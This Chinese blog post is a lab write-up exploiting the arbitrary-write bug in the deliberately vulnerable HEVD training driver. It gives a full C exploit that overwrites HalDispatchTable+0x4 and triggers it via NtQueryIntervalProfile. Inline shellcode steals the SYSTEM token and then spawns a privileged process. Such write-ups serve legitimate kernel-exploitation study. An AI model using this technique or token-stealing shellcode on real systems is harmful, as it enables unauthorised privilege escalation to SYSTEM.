WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

Javaweb

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

PWN

CTF

heap

Windows内核学习

其它

关于博客

面试

杂谈


title:TriggerArbitraryWrite
date:2022-07-08


TriggerArbitraryWrite

0x01 简介

这漏洞就是内核任意地址写入,指针没有经过判断导致HalDispatchTable+0x4被修改最后实现提权

0x02 漏洞分析

首先来看一下源码

使用IDA可以看到这两个指针都是可控的

只需要将v2指向HalDispatchTable+0x4,将v1指向提权shellcode

调用NtQueryIntervalProfile就实现了提权

至于为什么要调用NtQueryIntervalProfile首先需要看一下HalDispatchTable表

可以看到在表内第二个指针指向的位置是HalQuerySystemInformation函数

再来看看NtQueryIntervalProfile函数

在20行的位置调用了KeQueryIntervalProfile

KeQueryIntervalProfile在16行调用的函数就是HalQuerySystemInformation

从这里还可以看出NtQueryIntervalProfile的第一个参数不可以为0,也不可以为1

为0走不进KeQueryIntervalProfile,为1会走到KiProfileAlignmentFixupInterval

那么步骤也明确了

  1. 找到HalDispatchTable在内核中的位置
  2. 修改HalDispatchTable+0x4的指针指向shellcode
  3. 调用NtQueryIntervalProfile

0x03 代码实现

在这篇文章中讲了怎么去内核函数的地址

https://macchiato.ink/hst/bypassav/Windows_Kernel_GetFunction/

找HalDispatchTable也是同理

先找到内核的基址,然后将内核载入当前进程,得到HalDispatchTable的偏移

最后基址和偏移相加得到HalDispatchTable在内核实际的位置

从汇编里面可以得到这里应该是一个有两个指针的结构

1
2
3
4
5
typedef struct _WHERE_AND_WHAT
{
PVOID Where;
PVOID What;
} WHERE_AND_WHAT, *PWHERE_AND_WHAT;

可以定义为这样,Where要指向HalDispatchTable+0x4位置,What指向shellcode的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
WHERE_AND_WHAT exploit;
DWORD HalDispatchTable_Kernel; //指向HalDispatchTable的地址
PVOID AddressShellcode = GetSystemToken; //拿一次提权的函数指针
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL) {
printf("[-] GetDriver fail!\n");
return;
}
printf("[+] GetDriver Success!\n");
printf("[+] Second Point Shellcode Address 0x%p\n", &AddressShellcode);
//指向提权函数的指针
printf("[+] HalDispatchTable+4 Address 0x%p\n", HalDispatchTable_Kernel + 4);
//指向HalQuerySystemInformation函数的指针
exploit.What = (PVOID)(HalDispatchTable_Kernel+4);
exploit.Where = &AddressShellcode;
//存入结构
DeviceIoControl(hDevice, 0x22200B, &exploit, sizeof(exploit), NULL, 0, &dwRet, 0);
//将结构传入内核
wNtQueryIntervalProfile pNtQueryIntervalProfile = (wNtQueryIntervalProfile)GetProcAddress(hNtdll, "NtQueryIntervalProfile");
if (pNtQueryIntervalProfile == NULL) {
printf("[-] Not Find NtQueryIntervalProfile");
return;
}

printf("[+] NtQueryIntervalProfile Address: 0x%p\n", pNtQueryIntervalProfile);
pNtQueryIntervalProfile(0x2, &Interval);
//调用NtQueryIntervalProfile函数,注意第一个值不能为0和1,第二个值是一个指针不能为空

可以看到表没有覆盖之前指向的是HaliQuerySystemInformation函数

在覆盖之后指向的就是shellcode的地址了

只是不知道为啥在动了HalDispatchTable之后,再用dd HalDispatchTable找地址就不知道到哪里去了所以只能记住先前查看到的地址查看

这里覆盖了之后再调用NtQueryIntervalProfile就会触发提权shellcode了

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
#include <stdio.h>
#include <Windows.h>

#define SystemModuleInformation 11 //宏定义SystemModuleInformation

typedef NTSTATUS(NTAPI *kZwQuerySystemInformation)(
_In_ DWORD SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);

typedef NTSTATUS(NTAPI *kPsLookupProcessByProcessId)(
IN HANDLE ProcessId,
OUT PVOID Process
);

typedef NTSTATUS(NTAPI *wNtQueryIntervalProfile)(
IN DWORD ProfileSource,
OUT ULONG* Interval
);

typedef struct _SYSTEM_MODULE
{
HANDLE Reserved1;
PVOID Reserved2;
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
USHORT Id;
USHORT Rank;
USHORT w018;
USHORT NameOffset;
BYTE Name[256];
} SYSTEM_MODULE, *PSYSTEM_MODULE;

typedef struct _SYSTEM_MODULE_INFORMATION
{
ULONG ModulesCount;
SYSTEM_MODULE Modules[0];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef struct _WHERE_AND_WHAT
{
PVOID Where;
PVOID What;
} WHERE_AND_WHAT, *PWHERE_AND_WHAT;


void GetSystemToken() {
__asm {
pushad; 保存寄存器

xor eax, eax; eax置零
mov eax, fs: [eax + 124h]; 获取 nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + 050h]; 获取 nt!_KTHREAD.ApcState.Process
mov ecx, eax; 将本进程EPROCESS地址复制到ecx
mov edx, 4; WIN 7 SP1 SYSTEM process PID = 0x4

SearchSystemPID:
mov eax, [eax + 0b8h]; 获取 nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0b8h
cmp[eax + 0b4h], edx; 获取 nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID; 循环检测是否是SYSTEM进程PID

mov edx, [eax + 0f8h]; 获取System进程的Token
mov[ecx + 0f8h], edx; 将本进程Token替换为SYSTEM进程 nt!_EPROCESS.Token

popad; 恢复寄存器
}

}



void main(char* argc, char* argv[])
{
DWORD HalDispatchTable_Kernel;
HANDLE hDevice;
DWORD dwRet = 0;
DWORD Interval = 0;
char szNtName[256] = { 0 };
//存放Name的值
PVOID NtBase;
//存放ImageBaseAddress
HMODULE hNtdll = LoadLibraryA("ntdll");
//ZwQuerySystemInformation在ntdll中所以要载入进程
WHERE_AND_WHAT exploit;
if (hNtdll == NULL)
{
printf("[-] Load Ntdll fail!");
return;
}
kZwQuerySystemInformation pZwQuerySystemInformation = (kZwQuerySystemInformation)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
//从ntdll中提取出ZwQuerySystemInformation
if (pZwQuerySystemInformation == NULL)
{
printf("[-] Can not found ZwQuerySystemInformation!");
return;
}

ULONG SystemInfoBufferSize;
pZwQuerySystemInformation(SystemModuleInformation, &SystemInfoBufferSize, 0, &SystemInfoBufferSize);
//第一次调用ZwQuerySystemInformation不是为了取值,是判断能不能读出模块信息,如果返回长度为0说明读取失败了,如果不为0则下面第二次调用
if (SystemInfoBufferSize == 0)
{
printf("[-] SystemInfoBufferSize is 0!");
}
PULONG pSystemInfoBuffer = (PULONG)LocalAlloc(LMEM_ZEROINIT, SystemInfoBufferSize);
//开出一块和读出来大小相同的内存,用于存放下次ZwQuerySystemInformation得到的结构
printf("[+] LocalAlloc:0x%p\n", pSystemInfoBuffer);
if (pSystemInfoBuffer == 0)
{
printf("[-] LocalAlloc is fail!");
return;
}
int ret = pZwQuerySystemInformation(SystemModuleInformation, pSystemInfoBuffer, SystemInfoBufferSize, &SystemInfoBufferSize);

//第二次调用ZwQuerySystemInformation,将结构存入前面开的内存中
if (ret)
{
printf("[-] ZwQuerySystemInformation is fail!");
return;
}

_SYSTEM_MODULE_INFORMATION* smi = (_SYSTEM_MODULE_INFORMATION *)pSystemInfoBuffer;
//设置一个SYSTEM_MODULE_INFORMATION指针指向前面开的内存

printf("[+] Kernel Modle found %d\n", smi->ModulesCount);

memset(szNtName, 0, 256); //内存清零
int i = 0;
while (i < smi->ModulesCount)
{
//循环打印结构的中的值
SYSTEM_MODULE* sm = (SYSTEM_MODULE *)(smi->Modules + i);
//如果name中存在.exe和nt,那么将基址存在NtBase,因为这就是有PsLookupProcessByProcessId函数的模块,ntoskrnl.exe
if (strstr((char*)sm->Name, ".exe") && strstr((char*)sm->Name, "nt"))
{
NtBase = sm->ImageBaseAddress;
strncpy_s(szNtName, 256, strstr((char*)sm->Name, "nt"), _TRUNCATE);
//将ntoskrnl.exe存入szNtName中,用strstr函数将前面路径的去掉
break;
}

}
printf("[+] name:%s-0x%p\n", szNtName, NtBase); //打印ntkrnlpa.exe和内存中的基址
HMODULE nt = LoadLibraryA(szNtName); //在当前进程加载ntkrnlpa.exe
HalDispatchTable_Kernel = (DWORD)GetProcAddress(nt, "HalDispatchTable");
//在当前进程找到PsLookupProcessByProcessId函数地址
HalDispatchTable_Kernel = ((INT)NtBase + ((INT)HalDispatchTable_Kernel - (INT)nt));
//得到偏移加上内存中的基址
printf("[+] HalDispatchTable Address in 0x%p\n", HalDispatchTable_Kernel);
//输出函数真实的位置

PVOID AddressShellcode = GetSystemToken;
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL) {
printf("[-] GetDriver fail!\n");
return;
}
printf("[+] GetDriver Success!\n");
printf("[+] Second Point Shellcode Address 0x%p\n", &AddressShellcode);
printf("[+] HalDispatchTable+4 Address 0x%p\n", HalDispatchTable_Kernel + 4);
exploit.What = (PVOID)(HalDispatchTable_Kernel+4);
exploit.Where = &AddressShellcode;
DeviceIoControl(hDevice, 0x22200B, &exploit, sizeof(exploit), NULL, 0, &dwRet, 0);
wNtQueryIntervalProfile pNtQueryIntervalProfile = (wNtQueryIntervalProfile)GetProcAddress(hNtdll, "NtQueryIntervalProfile");
if (pNtQueryIntervalProfile == NULL) {
printf("[-] Not Find NtQueryIntervalProfile");
return;
}

printf("[+] NtQueryIntervalProfile Address: 0x%p\n", pNtQueryIntervalProfile);
pNtQueryIntervalProfile(0x2, &Interval);

STARTUPINFOA si;
PROCESS_INFORMATION pi;

if (argv[1])
{
si = { 0 };
pi = { 0 };
si.cb = sizeof(si);
si.dwFlags = 1;
si.wShowWindow = 0;
CreateProcessA(NULL, argv[1], NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, 0x10000);
}


}

0x04 x64

64位的差别不是很大,只需要注意一下指针的大小

有些地方的DWORD需要改为INT64

还有64位改的是HalDispatchTable+8位置

别的没啥好说了

64位的代码就不贴在这里丢github去了

0x05 新api学习

上面找到内核基址的方法过于繁琐,看看跳跳糖上面的文章用的函数挺少的,来学习一下

EnumDeviceDrivers

1
2
3
4
5
BOOL EnumDeviceDrivers(
[out] LPVOID *lpImageBase,
[in] DWORD cb,
[out] LPDWORD lpcbNeeded
);

lpImageBase 接收设备驱动程序加载地址列表的数组,这里是out所以是一个输出的参数,需要指向一个类型位LPVOID的数组,函数调用结束后会把所有驱动的基址都返回到数组中

cb 上面这个数组的大小

lpcbNeeded 实际写入多少字节

如果是32位这里lpcbNeeded/4可以得到系统加载了多少驱动,64位lpcbNeeded/8相同

GetDeviceDriverBaseNameA

1
2
3
4
5
DWORD GetDeviceDriverBaseNameA(
[in] LPVOID ImageBase,
LPSTR lpFilename,
[in] DWORD nSize
);

ImageBase 传入内核驱动的基址

lpFilename 输出基址对应的驱动的名称

nSize 读多少字节

知道了这些API就可以写一个简单的遍历所有驱动名称的程序了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <windows.h>
#include <psapi.h>
int main(int argc, char* argv[]) {
LPVOID lpImageBase[1024];
DWORD lpcbNeeded;
CHAR lpImageName[1024];
EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
for (int i = 0; i < lpcbNeeded / 8 + 1; i++) {
GetDeviceDriverBaseNameA(lpImageBase[i], lpImageName, 48);
printf("%s\n", lpImageName);
}
return 0;
}

https://github.com/Macchiatosheep/HEVD/tree/main/TriggerArbitraryWrite

0x06 参考

https://tttang.com/archive/1344

https://docs.microsoft.com/en-us/windows/win32/api/psapi/nf-psapi-getdevicedriverbasenamea

https://docs.microsoft.com/en-us/windows/win32/api/psapi/nf-psapi-enumdevicedrivers